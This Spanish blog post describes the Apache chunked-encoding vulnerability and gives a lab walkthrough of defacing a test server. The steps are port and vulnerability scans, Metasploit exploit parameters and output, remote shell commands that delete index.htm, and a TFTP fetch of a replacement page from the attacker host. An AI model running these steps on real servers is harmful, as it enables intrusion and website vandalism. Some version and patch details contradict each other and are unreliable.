miércoles, 6 de febrero de 2008

WEBDEFECEMENT


Introducción

Apache es el servidor web más popular del mundo, con más del 68% de cuota de mercado. Se trata de un proyecto de Código Abierto, con versiones disponibles para casi cualquier sistema operativo imaginable.

Apache es un servidor HTTP de código abierto, seguro, eficiente y extensible, para sistemas operativos UNIX y derivados, así como plataformas Microsoft Windows, que goza de gran popularidad, siendo la solución más empleada para servir HTTP a nivel mundial.


Descripción de la vulnerabilidad.

Las versiones de Apache previas a la 1.3.26 y 2.0.39 son susceptibles a un ataque realizado a través de cabeceras incorrectas en los "chunked data". Los "chunked data" (datos troceados) permiten enviar segmentos de datos de forma paulatina, por ejemplo, si no conocemos el tamaño final de los datos pero queremos realizar la transmisión a medida que los vamos obteniendo, en vez de esperar a tenerlos todos. Se trata de una modalidad del protocolo HTTP poco utilizada.

En este caso, la petición preparada con una cabecera 'Transfer-Encoding: chunked' y un 'Content-Length' pueden provocar que Apache remita una petición modificada con la cabecera 'Content-Length' original. En éstas condiciones, la petición maliciosa podría ir de polizón junto a la válida, siendo los posibles resultados tan peligrosos y variopintos como envenenamiento de caché, Cross Site Scripting, secuestro de sesiones y otras tipologías de ataque similares.

Las versiones de Apache previas a la 1.3.26 y 2.0.39 no gestionan adecuadamente la presencia de valores ilegales en las cabeceras "chunked data". Los efectos que esto provoca son:

a) Si el servidor es 1.3.* y está ejecutándose bajo plataformas Unix y CPU 32 bits, el ataque sólo consigue matar un proceso Apache hijo. Dado que Apache 1.3.* está diseñado para utilizar un proceso padre como monitor, y varios procesos hijos para atender las peticiones en sí, con cada proceso atendiendo una petición concreta en cada momento, este ataque simplemente obliga al proceso padre monitor a lanzar un nuevo proceso hijo. Ello supone un pequeño incremento del consumo de CPU. Se trataría, por tanto, de un ataque DoS (Denegación de Servicio), pero de baja incidencia y efectividad, dependiendo del sistema operativo.
b) Si el servidor es 1.3.*, está ejecutándose bajo plataforma UNIX y la CPU es de 64 bits, el atacante puede lograr, bajo ciertas condiciones y sistemas operativos, ejecutar código arbitrario en el sistema, con los privilegios del proceso Apache.
c) Si el servidor es 1.3.* y está ejecutándose bajo MS Windows, el atacante puede ejecutar código arbitrario en el servidor, con los privilegios del proceso Apache.
d) Si el servidor es 2.0.*, el atacante puede desencadenar un ataque DoS (Denegación de Servicio), cuya efectividad depende de la plataforma y de los detalles de configuración del servidor Apache.

La solución de esta vulnerabilidad problema pasa por la actualización de todos los demonios Apache pertenecientes a la rama 2.0.x a la versión 2.1.16, que corrige el problema. Nótese que la rama 2.1.x está en experimentación, con lo que instamos a los administradores de Apache a que repasen concienzudamente los contenidos que el proveedor ofrece en el sitio web oficial y las posibles repercusiones en cuanto a estabilidad que origine la actualización.

Exploit

La técnica fue originalmente descubierta y documentada por los analistas de Watchfire, y consiste básicamente en lanzar varias peticiones especialmente preparadas, de modo que dos dispositivos HTTP (clientes, servidores, cachés, etc.) podrían visualizar distintos tipos de peticiones. Esto permitiría que usuarios maliciosos introdujeran peticiones camufladas en un dispositivo, sin que el otro se percatara.

Tipos de exploits. Los exploits se pueden clasificar según las categorías de vulnerabilidades utilizadas:
De desbordamiento de buffer.
De condición de carrera (race condition).
De error de formato de cadena (format string bugs).
De Cross Site Scripting (XSS).
De Inyección SQL.
De Inyección de Caracteres (CRLF).
De denegación del servicio
De Inyección múltiple HTML (Múltiple HTML Injection).
De ventanas engañosas o mixtificación de ventanas (Window Spoofing).

Existen ya "exploits" que aprovechan la vulnerabilidad Chunked Encoding en los servidores Apache.

Chunked transfer-coding

HTTP/1.1 resolvio el problema de delimitacion del tamaño de mensajes mediante el Chunked transfer-coding. En esta caso el emisor rompe el mensaje en varios pedazos (chunks) de tamaño arbitrario. Si el servidor utiliza codificación Chunked, debe de colocar un encabezado de codificación de transferencia como "chunked".

Su contenido puede realizar el rompimiento del paquete principales en varios de tamaño determinado y menor al principal, los cuales llama paquetes Chunk, cada uno de los cuales tiene prearreglado su tamaño en bytes. Por ejemplo un tamaño de 0 bytes corresponde el fin de una respuesta de mensaje.

Chunked encoding es util cuando una gran cantidad de datos son enviadas al cliente, por lo que si se envía en un solo paquete, la respuesta del cliente no sera conocida por el serivdor hasta sea completamente procesado el paquete. Por ejemplo el envio de de resultados de un Query de una base de datos a una tabla.
Si se realiza de esta forma el encabezado Content-Length debe ser programado para que envie el resultado antes de calcular el contenido o tamaño del paquete enviado.

Sin embargo con Chunked encoding esto se realiza de una forma mas sencilla, ya que una vez que se ha terminado de enviar la query se envia un paquete chunk con tamaño cero, para identificar el fin del query.

Este mecanismo permite no saturar el buffer, por lo mejoran el desempeño del servidor y aumentan su velocidad de transmisión.

¿En qué consiste la vulnerabilidad?
El Chunked Encoding es diseñado para facilitar la fragmentación de peticiones del protocolo HTTP. El Apache no puede calcular correctamente el tamaño del buffer requerido.


Reporte de Hackeo a un Servidor Web

A continuación se reporta el desarrollo de los pasos del hackeo.

Se utilizaron las siguientes herramientas de software para lograr nuestro objetivo:

Nmap. Para el escaneo de puertos y el de vulnerabilidades del servidor.
Nessus Para el escaneo de vulnerabilidades del servidor
Metasploit Framework 2.6. Como herramienta de hackeo.
Servidor TFTP ServerPro 2000.
Apache 1.3.17. Como servidor.
Windows XP (con service pack2). En el Sistema operativo de ambas máquinas.


Metodologia de Webdefecement utilizada

Paso # 1
Instalar el servidor Apache 1.2.17, desarrollar y montar el sitio web. Se selecciona esta versión por tener conocimiento de sus vulnerabilidades que son parte esencial para poder tener éxito en el ataque. El servidor tiene la direccion IP 192.168.1.18.



Paso # 2
Una vez que corre el servidor víctima la página principal la podemos observar desde nuestro equipo, conectandonos al servidor desde Internet Explorer.




Paso # 3
Ejecutamos el programa NMAP, con la finalidad de conocer cuál es el puerto activo para atacar, el cual por defecto en el Apache es el 80.





Paso # 4
Se ejecuta el Nessus a fin de conocer y verificar la vulnerabilidad. Al termino presenta un informe de vulnerabilidades de el servidor.


Ya que obtenemos el puerto que servirá de víctima, realizamos el escaneo de vulnerabilidades desde el host que realizara el ataque. Identificamos el tipo de servidor que se encuentra corriendo y la versión. Identificando la vulnerabilidad y el puerto abierto.

Paso # 5
Una vez detectada la vulnerabilidad: Apache Chunked-Encoding Memory Corruption Vulnerability, utilizamos el Metasploit el cual cumple con las características para atacar esa vulnerabilidad.



Ingresamos los parámetros necesarios para realizar el ataque en al herramienta de Metasploit, como el puerto y la IP, son obtenidos del escaneador de puertos.

Los parámetros que debemos teclear en el Metasploit son:
LHOST xxx.xxx.xxx.xxx
RHOST xxx.xxx.xxx.xxx
LPORT xxxx
RPORT xx
PAYLOAD win32_bind
TARGET apache_chunked_win32(win32_bind)


Una vez ingresados los parametros, iniciamos el exploit.

[*] Starting Bind Handler.
[*] Trying Apache.org Build 1.3.9->1.3.19 [ 0x00401151/6 ]
[*] Trying Apache.org Build 1.3.9->1.3.19 [ 0x00401151/2 ]
[*] Trying Apache.org Build 1.3.9->1.3.19 [ 0x00401151/0 ]
[*] Got connection from 192.168.1.65 <-> 192.168.1.18


Damos un clic en session 1, y nos abre otra ventana con la consola.

Paso # 6
El Metasploit se conecta a la consola del servidor y nos permite hacer el hackeo. Para lo cual se eliminó el sito web del servidor para ocasionar que a los clientes les marque un error al abrir la página o al actualizarla.

En la consola de MS-DOS del servidor remoto, inicia en la ruta donde se encuentra el servidor Aapache, debido a que este servicio provoco la falla.


Microsoft Windows XP [Versi¢n 5.1.2600](C) Copyright 1985-2001 Microsoft Corp.
C:\Archivos de programa\Apache Group\Apache>


Una vez en la consola nos dirijimos al directorio htdocs, donde se encuentran las paginas que aloja el servidor Apache, y verificamos con una instruccin dir su contenido y verificar cual es la pagina principal del servidor.

C:\Archivos de programa\Apache Group\Apache

>>>cd htdocs

C:\Archivos de programa\Apache Group\Apache\htdocs

>>> dir


El numero de serie del volumen es: 24D1-44C2

Directorio de C:\Archivos de programa\ApacheGroup\Apache\htdocs

21/09/2007 08:15 a.m. .
21/09/2007 08:15 a.m. ..
23/08/2004 03:14 p.m. 5,663 ! Read Me !.txt0
7/09/2007 11:57 a.m. animaciones
07/09/2007 11:57 a.m. CIENCIA
07/09/2007 11:56 a.m. cultura
07/09/2007 11:56 a.m. deportes
07/09/2007 11:55 a.m. efemerides
07/09/2007 11:54 a.m. EJEMEX
07/09/2007 11:53 a.m. Fonts
07/09/2007 11:53 a.m. HUMOR
12/09/2007 02:49 p.m. IMAGENES
07/09/2007 11:52 a.m. Images
10/09/2007 01:40 p.m. 17,526 index.htm
04/09/2007 01:14 a.m. manual
07/09/2007 12:02 p.m. MURAL
07/09/2007 11:52 a.m. Photoshop PSD Files
07/09/2007 12:02 p.m. respaldos
07/09/2007 11:52 a.m. tips
07/09/2007 11:52 a.m. _notes
2 archivos 23,189 bytes
18 dirs 3,924,934,656 bytes libres


En este caso se distingue por su tamaño que la página principal es: index.htm.
Para primeramente negar este servicio, borramos la pagina principal (index.htm), inclusive se pueden borrar el resto de carpetas, verificando se haya borrado.

C:\Archivos de programa\Apache Group\Apache\htdocs

>>> del index.htm

del index.htm

C:\Archivos de programa\Apache Group\Apache\htdocs

>>> del index.htm

del index.htm

No se encuentra

C:\Archivos de programa\Apache Group\Apache\htdocs\index.htm

Para poder confirmar que la página ha sido hackeada, se debe recargar la página para que nos muestre el mensaje de que "no puede encontrar la pagina solicitada".

Paso # 7
El siguiente paso es poner otra pagina, sustituir por una pagina que puede realizar las acciones o procesos que nosotros hayamos programado en la pagina.

Para lo cual necesitamos instalar e iniciar un servidor de TFTP y conectarnos a nuestro equipo enviando al equipo hacheado los archivos que sean necesarios para realizar el ataque.

La conexión se realiza mediante las instrucciones siguientes:
C:\Archivos de programa\Apache Group\Apache\htdocs
>>> tftp 192.168.1.65 get index.htm tftp 192.168.1.65 get index.htm
Transferencia terminada: 648 bytes en 1 segundo, 648 bytes/s

Se debe tener en consideración que es recomendable poner la otra pagina con el mismo nombre que tenia la original de lo contrario modificar el archivo de configuración del servidor Apache y cambiar el nombre de la pagina de inicio.

En la pantalla del servidor TFTP se puede verificar los archivos que se enviaron al equipo atacado.



Paso # 8

Ya copiada nuestra pagina en el servidor Apache solo resta realizar la prueba de conexión al servidor y verificar que pagina abre.





Conclusiones

Como pudimos ver la seguridad de un servidor es vulnerable si no se realizan las actualizaciones pertinentes por parte del soporte técnico de los proveedores del softwares y utilizar cualquier herramienta que haga más segura la publicación en Web como detectores de Intrusos y Firewalls.





Bibliografía

http://www.apsis.ch/pound/pound_list/archive/2005/2005-09/1127207369000

http://httpd.apache.org/info/security_bulletin_20020617.txt

No hay comentarios: